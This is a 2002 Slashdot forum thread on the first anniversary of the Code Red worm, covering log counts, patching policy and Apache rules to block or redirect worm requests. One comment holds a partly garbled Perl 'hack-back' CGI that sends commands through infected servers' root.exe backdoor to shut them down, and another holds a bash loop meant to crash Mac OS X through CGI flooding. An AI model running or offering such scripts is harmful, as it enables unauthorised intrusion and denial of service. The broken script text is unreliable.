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Happy Birthday Code Red
totallygeek writes: "One year ago today (July 19, 2001), more than 359,000 computers were infected with the Code Red worm in less than 14 hours. At the peak of infection, more than 2,000 new machines were infected each minute. Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since. For the first time, systems running the Apache web server were getting requests for a document called "default.ida". Here we are a year later, and my web log shows an average of forty-two requests per day for default.ida over the last five days. To really appreciate the spread of this program, look at this animated image."
It is the gift that just keeps on giving.
...that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of missingleftsocks.com as 100,000 slashdotters pillage his machine simultaneously.
Don't worry about Code Red and related problems. I'm sure Microsoft will fix everything before they start storing our National ID information.
In Capitalist America, bank robs you!
One year anniversary was last week some time. We had been running DeepSight (nee ARIS) in a test mode at the time, and actually detected some test runs of Code Red about a week before the big outbreak.
Folks will notice though that the fixed version of Code Red I (CodeRed.B) is still going. Picked up a couple of hits today.
My server is still getting hit by code red infected
servers on the avarage of every 5min. It would seem
that after all of this time people would clean up their servers. What really bothers me is some of the machines hitting me are commercial web sits verses the home machines.
Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since
Granted, the 'Net was a lot smaller, but what about the Morris worm?
General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
It really was good pizza...and it was quite a bit of fun riding skateboards around the corporate HQ at 2:30am in the morning...
Seriously, though, it also taught the company I work for a serious lesson about staying on top of this kind of stuff. We had just finished a 2 month project to secure our web servers, but we were still bound by our traditional change management processes - 7 days notification for an outage, and testing of all changes documented and submitted for approval in advance. At the time Code Red hit, I had sent a note saying "we've really got to get this hotfix applied", but we were bound by the process, and we got burned.
Needless to say, when an urgent hotfix comes out now, it takes almost no convincing to get it applied ASAP. If it breaks a web app or two, well, that's the risk we take. We'd rather look for signoff from the business to unapply a hotfix that breaks something, than spend a few days trying to secure the approval beforehand. It's a lot cheaper in the long run to troubleshoot the effects of a hotfix that has unintended side effects than it is to watch your entire web farm get demolished by a worm.
Yes, we run IIS, and I suppose you could harp about how this could all be avoided by running Apache, but the point is that without a policy, strategy, and process for rapidly deploying defenses against net-born attacks, no system is invulnerable.
That's the nimda worm. Running apache, you're immune to it, but it makes a mess in your logs.
One thing to do is have a cron job to scan your logs and if it sees any of the above, add the ip to an iptables blocklist. At least that way, you only get hit once by it from each infected host.
Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.
dave
from the original analysis by David Moore:
.FLI) .mov {requires QuickTime v3 or newer} )
UK Mirror
UK FTP
AU Mirror
Flipbook animation (207k
Quicktime animation of growth by geographic breakdown (200K
original www.caida.org gif animation
HIV Crosses Species Barrier... into Muppets
What exactly are we supposed to celebrate? The inept SAs that have failed to patch their systems? The sad lack of software development skills and abundance of corporate greed that combine to push shoddy software upon millions of users?
Maybe we should celebrate the resiliency of the Net. The fact that while attacks on systems continue to come daily, and at a seemingly increasing rate, everything still works most of the time.
--knowledge, not information, is power
From the official #python@OPN quotefile:
<skreech> I'm gonna miss code red when its gone, my webpage has never gotten this many hits before
DShield's Code Red Anniversary Page has an interesting graph showing scanning activity they've detected from active hosts since the beginning of this year. Some 35,000 IPs still continue to regularly come alive around the beginning of the month, quiet down towards the middle, and then resume the cycle again - the numbers have remained remarkably consistent.
Click here or here.
many months ago when default.ida was the rage around the www, I added these couple lines to my httpd.conf:
SetEnvIf Request_URI "^/default.ida" dontlog
ErrorLog logs/254-error_log
CustomLog logs/254-access_log combined env=!dontlog
check out SetEnvIf in apache docs, you can do even better than this.
June 18, 2001 14:29:28 -0700
Microsoft Security Bulliten MS01-033
June 18, 2001 14:36:53
q300972_w2k_sp3_x86_en.exe
When did Code Red hit? Did I bother to notice? Did I bother to record? No. It didn't affect me much.
Is it slashdotted or is that the demonstration?
;)
Server is still infected with a IIS virus (though not Code Red). Here it is
I sent them an email - almost a year ago in fact. They just brushed me off and gave a rather pathetic excuse ("the box is too slow to run Norton").
You can read the e-mail here.
Of course, these are the same people who run a trouble ticket server on the district wide WAN that any old joe at school can access and see where the security issues are.
"Happy Birthday Code Red, Happy Birthday Code Red, Bill sucks with his coding, Happy Birthday Code Red."
Now blow out the flaming servers, and make a wish.
Insert something insightful here, or I'll insert something painful there.
No one ever notes that the CRW absolutely rape cisco dsl routers.
At its peak, Qwest had a 5 hour hold time for people who's cisco was taken down by the vuln.
Incidently, the fix was killed more routers.
forget it.
I doubt the worm is going to bother to follow redirect requests.
Corporate America mostly runs Windows 2000. That's the system that needs security and reliability most. And where's Microsoft?
That's the first time I've seen someone getting smashed by the /. effect, and coming back asking for more!
"They do not preach that their god will rouse them, a little before the Nuts work loose." Kipling, 'The Sons of Martha'
Is there a apache log analyser that shows nifty graphs of all the different kinds of attacks somewhere out there?
:)
That'd be cool
It says right on the image, caiga.org son ewframes-small-log.gif
http://www.jump.org.uk/caida_code_red_animations/
go there...
Of course, that is a 4.1 MB GIF file.
In Soviet Russia...michael would be rotting in Siberia!
http://online.securityfocus.com/cgi-bin/sfonline/v ulns.pl?vendor=Apple
They will have a field day with it!
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
What pisses me off is that when an early exploit was detected awhile back (err, many years), somebody released worm to go around and fix it but THEY where the ones who got in trouble with the FBI, thus setting a precident in the future saying that the computer community was not allowed to take all neccisary steps to fix problems that may pop up.
Kind of killed off community effort right there. >;(
Need help treating your acne? Come here!
I doubt the worm is going to bother to follow redirect requests.
/default.ida https://www.microsoft.com/ /robots.txt https://www.microsoft.com/ /root.exe https://www.microsoft.com/ /cmd.exe https://www.microsoft.com/
Besides https://microsoft.com/ would chew up more cycles on their end....
All kidding aside, with a redirection rule, the worm may not follow it, but at least it cleans up the logs a little. Plus, Apache's default error page and it's default redirect page are about the same size (for the bandwidth conscious).
Just add the following to your httpd.conf at the root level (so they are inherited by all of your <VirtualHost>s as well):
RedirectMatch
RedirectMatch
RedirectMatch
RedirectMatch
For those of you who think these are a bit too general (they match quite a few URLs), or if you have legitimate destinations which are matched by the above patterns, I'm sure they can be modified to suit your needs....
moto411.com
Someone will let them know... hehehe.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
Apache allows you to rewrite incoming requests according to a set of rules. These are not the same as a page refresh in a META tag.
dave
I'm actually in Missouri.
I sent it to TV instead: click2houston.com
I bcc'd you on the email.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
Considering that despite the worm being in the wild for over a year, that either installing a *nix varient, applying a service pack, or simply running a decent antivirus app were alternatives to being infected? All of which are conscientious actions of the user, admin, etc? All actions that are made on the part of the user? All options undertaken or not by the user?
Sounds an awful lot like the fault of the user to me...
Just because you can mod me down, doesn't mean you're right. Shoes for industry!
Does that mean, therefore, that anyone running Linux without the fix for the 1i0n (or however that's spelled) exploit, can sue Linus Torvald, Redhat, et al for damages? How about anyone running a Micro$oft OS that has an exploit taken advantage of with a worm, virus, etc, that was created on a Linux system with the sole purpose of damaging as many M$ OSs as possible?
If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you? Or do you sue (or at least lock up) the one who pointed the gun at you and pull the trigger? Do you go around your neighborhood, testing each doorknob to see if the house is locked, then rob and burn down each house that isn't? Is it the homeowner's fault for not locking the door, or you for entering in the first place?
If you want to hold anyone responsible, try the guy/s who code viruses and worms... Anyone with sufficient pathological incentive to wreak havoc and trash a computer system (or, basically, anything else) will do so...
Responsibility goes two ways, on one hand, those who have known for a substantial period of time that there was a problem that needed addressing, and those who take advantage of that problem... The net makes this all more obvious, at least to those of us with a smidgen of common sense...
Just because you can mod me down, doesn't mean you're right. Shoes for industry!
If you think Linux is a "Safe Haven" then you're just asking for your ass to be handed to you.
If you think you can put ANY server up on a public network and not maintiain it--you WILL be in for a rude awakening one day.
You are talking apples and oranges. My gov't will not distribute cd's with a fix for Microsoft software. If it's in public interest my gov't will tell Microsoft it must distribute cd's with a fix for Microsoft software. Thats the way it will work, everything else you seapk of isn't relevant to this argument at all.
Of course - that's not to say it can't happen to Linux in the future. Some changes that would have to take place would include:
1) An increase in un-administered machines (which is possible as more Linux machines go in to service and are promptly forgotten about or appropriate support stuff aren't also put in place).
2) More distributions installing services by default without user knowledge (which most distros seem fairly resistant to doing - but not all).
3) Patches that become as devistating as the security threat they attempt to mitigate (I've yet to see this and would think that any organization that constantly produced dangerous patches / replacement packages would find their user base fleeing to another distribution).
Microsoft still insists that such things are the fault of the user, not the software.
Microsoft is right. The user is using Microsoft software.
This was not an exhaustive search, nor a statistically significant sample group, and dynamic IP allocation muddled the results a bit, but it was enough to make me wonder. How many of the 'code red attacks' these days are really script kitties with unix boxes? My guess is they account for most of them.
Has anyone looked into this for more than the 15-20 minutes I put into it?
Build stuff. Stuff that walks, stuff that rolls, whatever.
It would be much better if it went around to all the Windows servers out there and did the same. Add in all the outlook clients and exchange servers and you've truly worked a miracle.
A fool throws a stone into a well and a thousand sages can not remove it.
I guess I should consider myself lucky.
Total/Unique
Nimda hits: 6213/134
CodeRed hits: 76/76
Damn annoying, though.
-- Will program for bandwidth
Heck, I'd be mildly surprised if Code Red even bothered looking at the response from the server... IIRC, it just dumps the code it wants to run in the HTTP request and lets the code take care of the rest. (On the other hand, nimda does check the status code to see if the server's vulnerable to any of the attacks it tries. If you return 404s, it gives up pretty quickly, but if you return 200, it tries to do a lot more).
robots.txt has a legitimate use. Redirecting attempts to access it would be extremely stupid.
When a legitimate bot such as google scans your system, it looks in robots.txt for find out where NOT to scan in case you have web pages you do not wish to be searchable.
-- Will program for bandwidth
Well it's really like the Lamer Exterminator, if you got it, directly or indirectly, you probably deserved it... :o)
Xix.
"Everything is adjustable, provided you have the right tools"
I just knocked together this perl script to send
s top",$ENV{REMOTE_ADDR});
x e+shell32.dll,SHExitWindowsEX+5" ,$ENV{REMOTE_ADDR});
/. reference
those items out, run it as a CGI script. Any
comments / suggestions? WARNING: I'm still learning perl... this could be (is?) ugly!
#!/usr/bin/perl
# This is a CGI script. Properly linked from your
# web server, it turns around and issues commands
# to a code red-infected server that is trying
# to kill your server. Make $YOURSERVER/default.ida run
# this CGI script, and watch the other server stop its
# IIS service and shut down windows.
use LWP::Simple;
my $incoming;
my $request;
print "HTTP/1.0 200 OK\n\nBeginning rooting of your code-red-infested box...\n";
print "This could look weird on your logs if you're not infected and just poking around.\n\n";
$request = sprintf("http://%s/scripts/root.exe?/c+iisreset+/
$incoming = get $request;
print "\n", $request, "\n\n", $incoming, "\n\n";
$request = sprintf("http://%s/scripts/root.exe?/c+rundll32.e
$incoming = get $request;
print "\n", $request, "\n\n", $incoming, "\n\n";
#Obligatory
print "YHBT. Have a nice day.\n\n";
Every cloud has a silver lining (except for the mushroom shaped ones, which have a lining of Iridium & Strontium 90)
This... is my bro.
CRAZY EARL the sysadmin lifts a dustcover to reveal a toasted server
This is his party. He's the guest of honor. Today... is his birthday.
Email Mother calls out from down the hall: "Happy Birthday, Code Red."
I will never forget this day. The day I came to IIS city and fought one million Code Red worms. I love the little Commie bastards, I really do. These enemy worms are as persistent as thick-headed CIOs.
These are great days we're living, bros! We are jolly caffeinated giants walking the earth, with Bawlz. These worms we wasted here today, contain the finest code we will ever see. After we start working with real servers again we're gonna miss not having any worms around worth killing!
(obligatory reference for those who've never seen Full Metal Jacket)
my web log shows an average of forty-two requests per day
That is indeed interesting, a short time ago when discussing Windows security in a danish newsgroup, I counted the entries in my log. I also had an average of forty-two requests per day.
This couldn't be a coincidence, could it?
Do you care about the security of your wireless mouse?
Try putting these handy tags around the deadline, and all will be revealed.
<sarcasm> </sarcasm>
Does that help?
The user chooses the software =)
Viva Unix! =)
redirect /scripts http://www.stoptheviruscold.invalid /c http://www.stoptheviruscold.invalid /d http://www.stoptheviruscold.invalid /_mem_bin http://stoptheviruscold.invalid /_vti_bin http://stoptheviruscold.invalid /msadc http://stoptheviruscold.invalid /MSADC http://www.stoptheviruscold.invalid
redirect
redirect
redirect
redirect
redirect
redirect
RedirectMatch (.*)\cmd.exe$ http://stoptheviruscold.invalid$1
We jokingly discussed an Evil Plan where I worked when CodeRed first came out.
One thing we discussed doing was getting a copy, disassembling it, and building a version that would install FreeBSD with Apache with Front Page Extensions and the Active Server Pages module over top of the Windows installation, with all of the web site content left more or less intact.
We figured that it would be pretty cool if we could make it so that people would not notice that their server had been "competitively upgraded" until the next scheduled reboot/update.
We thought that it would be even more likely to go a long time if we captured the console screen of the running server, and used it as the boot "splash screen" for the replacement OS...
Of course, as I said, doing this would be Evil, so we only discussed the possibility.
-- Terry
Use mod_rewrite to direct those scans to a cgi/web script. I'm storing them in a database which is being read as soon as my firewall starts (laptop). Completely automated.
If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you?
Believe it or not, a lot of people are trying just that, and frightenly having a fair amount of success.
The problem in the case of Code Red, and the worm of the week wreaking havoc with Microsoft products, is one of false representation, and perhaps outright fraud.
People keep getting told from Microsoft "Our servers are stable and secure, you don't need to don't need to worry." Then something happens, and Microsoft does nothing until someone has demonstrated in an amazingly public way that their stuff in indeed vunerable.
Once that happens they issue a fix. The fix usually seems to be some method of messing up the specific method used, so minor changes to the worm make it work again.
The Open Source world on the other hand is very quick to fix any bugs they know about and can that can be fixed. More than once some of the security groups were frustrated when Red Hat or some other Linux distro maker, after being informed of a problem, releasing not only the details but a fix long before they were ready.
Microsoft has actively tried to keep anyone from finding out through any legal means about any security problems with their products. The Linux community works hard to find and fix problems.
Microsoft products are a little like the Ford Pinto of the software world. The Pinto would blow up rather spectacularly if rear ended. Ford was sued and had to fix the problem.
Had Ford voulantarily recalled the Pinto earlier (and the evidence suggested that they knew of the problem before the first Pinto was ever sold), there would have been no casue to sue them. However they tried to cover up the problem, and repeatedly denied the existence of any problem.
Microsoft knows there are vast security holes in their products. They prefer to put them out and hope no one notices. When someone does notice, they deny there is a problem, and have pushed to get anyone who tries to find such problems arrested. They are, in effect, enganged in a cover up. This is what opens them up to being sued. There is rarely a good faith effort to fix any security hole before it becomes a problem.
Contrast that with the Linux world. There are occasionaly penetrations, but there is always an effort to find and fix such problems long before such things happen.
The other problem was that IIS and WPS are often installed and running without the person even knowing it. In fairness, most linux distros seem to install and set up Apache without permission too, but at least Apache has been pretty much immune to worms for the last few years. Should you hold everyone who installed win2k on a networked machine responsible because they failed to install security patches on a server they didn't even know they were running?
Microsoft acts very irresponsibly with their software, and there should be some accountability. I wouldn't sue them just over Code Red, but take the worm of the week hitting IIS, and the worm of the week hitting Outhouse, and Microsoft's complete indifference to fixing either, and we get a pattern of indifference which is prosecutable.
There is a civil war coming in the United States. Remember which side has most of the guns
Are you sure?
Which virus do they have?
I wouldn't worry about the FBI, etc.
It's not like it's a unique infection that no one has ever seen before.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
shut up!!! That is a myth and you know it!
/Local/Library/WebServer/CGI-Executables/test-cgi ./CGI-McPanic
#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with
# concurrent calls to a CGI-Script
#
# before use, do:
#
# chmod a+x
#
# then call
#
# bash
#
NUMPROC=32
i=0
while [ $i -le $NUMPROC ]
do
i=$[$i + 1]
ab -t 3600 http://localhost/cgi-bin/test-cgi &
done
I share a birthday with an IIS worm! Seriously!
Do I get a cookie?
- Every coder makes programming errors (some more than others, true).
- Microsoft released a *working* patch a few months before the exploits started.
- A work around was also available.
- A properly installed & configured server was *not* vulnerable.
- A web server does not need to *establish* outbound HTTP connections through the firewall, only to accept and reply to them.
You kind of get an idea where they are coming from.PS. That last point is the crux, and denying webservers the ability to establish outbound HTTP connections would have stopped Code Red type exploits dead. If your network is properly configured, even if you are exploited, then the exploit should have a much harder time propagating and thus making you look like a complete incompetent. The *real* problem is that a *huge* proportion of sysadmins don't seem to understand the most basic of security principles, and that's not Microsoft's problem at all.
UNIX? They're not even circumcised! Savages!
Linux is a safe haven.
Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed.
What about the Apache vulnerability that was discoverd a couple of weeks ago? I would think there are still loads of people who haven't patched their servers (and even the patch does not give full protection. See the advisory).
Microsoft are addressing the issue of applying patches to products such as IIS with features that remind system admisitrators about new patches and automate the process of applying them.
I really think that open source systems such as Apache will need to have features like these if they are to compete strongly.
If Code Red taught us one thing, it was that the application of patches is as important as the patches themselves (MS released a patch that prevented Code red infection months before the outbreak)
... but testboxes or homeusers with an IIS installation on their win2k pro or win2k server OS they used. This is noticable by the fact that most attacks were and are originating from cable-internet connected boxes.
Most IIS admins who are responsible for webservers who run company websites did patch IIS long before the worm started or better: did like MS told them to do: disable all extensions not used on the box, like htr and ida. (Oh, and removed the examples)
Ok, some company-used webservers were exploited, but this number is not a majority by far.
Never underestimate the relief of true separation of Religion and State.
Hotfixes don't kill webapps. I develop webapplications (the n-tier stuff, VC++/VB/ASP/IIS/SQLServer etc) for over 5 years now and have applied a zillion or so hotfixes on IIS and NT / Win2k server to keep the systems up to date, but never ever have I encountered 1 single hotfix which killed a webapplication nor did I hear from collegues that hotfixes killed their webapplications. If the webapp is written solidly, by the guidelines MS has supplied, you can apply any hotfix, period.
When your developers are not that educated however, perhaps they use dirty tricks which will break when a hotfix is applied (allthough I doubt it, hotfixes mostly overwrite existing files without updating CLS_ID's etc, because these stay the same) and the app will die after the hotfix is applied: one reason to kick them out the door for some real professionals.
Never underestimate the relief of true separation of Religion and State.
Here's a mirror of the image.
http://razor.hemmet.chalmers.se/CodeRedSpreading.g if
That stands for "You have been trolled".
The perl script is a troll, it won't work, I can't believe this got modded up.
[]'s Victor Bogado da Silva Lins
^[:wq
Actually, the worm got its virus from the drink.
Late at night, the programmers were drinking away their cans, when they identified the virus. They called it Code Red.
One week after the outbreak was supposed to be over, I tried setting up a Windows 2000 Server. IIS was enabled by default, and thinking the worse was over, didn't turn it off. I was infected before I could download antivirus software or the patch. This was on a dual T3. Explain to me how this is my fault.
Recommended gifts from admirers:
1) DIVX's of Hackers or The Net.
2) Natalie Portman... Enough said.
3) Port me to more platforms.
and finally.... a 2nd chance.
--
CodeRed, the lower user #. No relation to SirCam.
You should have seen it last year, one day we were receiving so many requests for non-existant files that out server was crawling, because our not found page was generated by some scripts. I simply wrote a Perl handler to handle it(roughly 60 secs) and that took care of it.
Quite humorous it was. And that we still get thousands of hits from infected machines is hilarious.
Heh, Internet worms... fun stuff.
Sticking feathers up your butt does not make you a chicken - Tyler Durden
Comment removed based on user account deletion
Comment removed based on user account deletion
Did it occur to you that maybe you should connect the box to the Internet as the LAST STEP? - AFTER the server is configured and PATCHED?
You can get the service pack on another system and write it to CD so you don't need an ethernet connection to make the system current with patches.
Plug the ethernet cable into the server as the dead LAST step.
Ever dream you could fly? Get up from the Flight Sim. I Fly
Did it occur to you that maybe you should connect the box to the Internet as the LAST STEP? - AFTER the server is configured and PATCHED?
Perhaps that should be obvious to an experienced sysadmin, but most installers of Windows 2000 won't have a clue about such precautions. The intelligent thing for Microsoft to have done is not had IIS turned on by default. This is especially obvious when you consider how many of the Code Red hits you get come from people who obviously don't even use the IIS that's running on their box.
Since Microsoft is aiming their software at clueless users who can't be bothered to secure their machines, Microsoft needs to ensure that their software is secure out of the box.
Hey kids, there's only 5 days left 'til Yak Shaving Day!
Fifteen years ago we knew that Sun insisted on shipping SunOS with a "+" in
In the real world you have a checklist of things that must be done and things that must be changed before the box can put into production especially on the the big bad Internet. In our company, where the NT operations MCSE staff are not exactly the brightest thinkers, we have a standard Windows 2000 build document that has a security checklist and says to only install IIS if the box is going to be a web server. There ARE checkboxes in the custom install where you can deselect the install of IIS and other unneeded programs.
If you dare to draw a paycheck you SHOULD be a Professional. It's up to you to learn how a professional operates.
Ever dream you could fly? Get up from the Flight Sim. I Fly
A similar question. Is anyone getting hit with this:
XX.XX.XX.XX - - [13/Jul/2002:19:47:41 -0400] "CONNECT 151.189.24.12:6669 HTTP/1.0" 200 5639 "-" "-"
I get a couple of them every few days in my log files. Is this a worm or just some idiot?
Like sex? Read and write about it! Indecent Blogging
Believe it or not, out of all the people in in the world running MS Outlook, fewer than 1% have ever pulled down security patches, see The Great MS Patch Nobody Uses.
Additionally, the Win2K/NT server guys are afraid to install security patches since they never are really how much of their server is going to break. Often times, Admins will patch the servers which touch the Internet but not the Internal servers for fear of breaking them. With Code Red, this was quite humorous because the outer servers were patched as soon as the Code Red patch was available, thinking this action would defend the realm against Code Red, but they forgot about the laptop users which brought Code Red in the back door via the local LAN.
But not to worry folks, once we get Palladium hardware in all our servers, this will not happen again right? In fact we won't even have to patch anymore, since everything will be secure and, only secure applications will be allowed to run.
Oh, wait, wouldn't IIS pass the palladium trusted application test?
Why yes it would...... and Code Red would join the list of "Trusted Secure Applications".!
Sorry, I have to smack Palladium everytime I get a chance.
I know this. But a lot of government "security" is handled through microsoft products.
And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.
I was just trying to make a point in a somewhat quippy manner.
In Capitalist America, bank robs you!
From my memory I remember this is the straw that broke the camels back for many of the people and companies that I knew who had been running IIS in some form or another. We had always been a Unix shop -- but many of the 3rd party "server" products had been written using ISAPI -- and required IIS and or Windows to function...The companies that produced these products were flying high and raising the Microsoft sword of ignorance. This virus sent them all back into their holes. Some of them went back to the drawing board to port their products to a real OS and Web Server....The others are dead or close to death.
(+1 Funny) only if I laugh out loud.
And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.
It might not be Microsoft. It might be Oracle. Why doesn't that make me feel any better?
Given one hour to live, the student replied: "I'd spend it with professor FP who can make an hour seem like a lifetime."
"Fifteen years ago we knew that Sun insisted on shipping SunOS with a "+" in /etc/hosts.equiv which would open your system to any other server on the network. We edited that and other config files before a Sun went on the LAN."
They don't ship this way now, though, right? Sounds like they've learned something. Perhaps Microsoft could also learn something from this.
But they won't. The defaults will always be insecure, for sake of "features".
I have since then been saving each nimda hit in a separate log and recently compiled a list of *ALL* unique nimda queries made to my web server which I use with home-grown cgi/shell scripts to make a series of requests back to the attackers ip addresses as they hit me, which attempt to place warning text files in various places on their system and pop alert messages.
So I also recently posted a follow-up article on nimda which points you to all the queries i have catalogged so far.
Note: if you *really* want some of the shell scripts i use to attempt to warn the attackers just request so in comments to my journal, tho they really are nasty hacks. I just may write a java app triggered by a servlet or cgi one of these days.
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The biggest reason (IHMO) why Code Red spread so rampantly was not because:
;-)
- Microsoft writes lousy code (they're not great, but I don't believe they suck more than other httpd authors)
- Windows security is dreadful (Win95/98 is fairly bad, but I don't think NT is *that* horrific)
- The large installed base (Apache has kind of a big base)
- Microsoft has bad kharma
I believe the real reason is the *homogeneity* of IIS and the Win32 platform. Virus and worm authors have a predictable environment for which to code. Biologists would refer to this as a monoculture. Monocultures are notoriously prone to being taken down -- witness the Irish potato famine.
Apache runs on far too many disparate platforms for a single exploit to "catch fire".
That's why I like an internet with many different OSes, machine architectures, http servers, etc. A diverse ecosystem is good for all!
Apache
Why make it difficult? Make a script in your favourite language; shell, perl, whatever, and name it 'default.ida' or 'root.exe' and plant it properly. The script, when called by Apache as a CGI, will have the IP address as an env variable. Use that to update your filter of choice appropriately.
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Far be it for anybody to defend Microsoft on slashdot but this is an impossible requirement that no other OS vendor delivers - Not other Unices - Not even Linux.
Agreed, although as another poster mentioned the BSDs come close. Also, if you do a default install of the more recent Linux distributions they won't be running too many services. I can't remember if RedHat or Mandrake turn on Apache by default, as I've never done a default install of either.
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Again, Joe Home User who gets his shiny new Windows machine and hooks it up to his cable modem out the house shouldn't have to be a professional. He doesn't know about servers and firewalls and ports (oh my). He expects it to be plug-n-play, so it seems that Microsoft has a responsiblity to make sure unwanted things don't start playing when the machine gets plugged (the Unix vendors have this same responsibility, to be sure).
You also shouldn't expect Joe User to use the custom install and deselect IIS - you probably shouldn't expect him to know what IIS is. You can expect a sysadmin to know how to select IIS to be installed if he needs it. So the default obviously needs to be not installing IIS. Or Apache, for the Unices.
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